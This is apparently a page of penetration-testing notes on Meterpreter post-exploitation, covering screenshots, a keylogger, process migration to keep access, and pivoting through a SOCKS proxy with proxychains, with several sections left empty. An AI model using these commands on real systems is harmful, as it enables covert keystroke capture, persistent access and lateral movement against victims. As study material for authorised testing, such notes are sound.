Post Exploitation

Core Features

Take a screenshot of the compromised desktop:

meterpreter > screenshot

Start a keylogger:

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Migrating Processes

When we compromise a host, our Meterpreter payload is executed inside the process of the application we attack. If the victim closes that process, our access to the machine is closed as well.

Using migrate command, we can move the execution of our Meterpreter to different processes. To do this, we first run ps to view all running processes and then pick one, like explorer.exe, and issue the migrate command:

meterpreter > ps
meterpreter > migrate <explorer.exe_id>

Or, we can set an autorun script before running the module:

msf6 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate

Modules

Bypass UAC:

PowerShell:

Mimikatz:

Pivoting

Enumerate network interfaces:

Found two nework interfaces:

ipconfig

We are on 192.168.214.10 and we want to pivot to 172.16.214.10. Use autoroute:

Use auxiliary/server/socks_proxy to configure a SOCKS proxy:

Configure proxychains at /etc/proxychains4.conf:

/etc/proxychains4.conf

Now we can run commands with proxychains as prefix to pivot. For example:

Last updated

Was this helpful?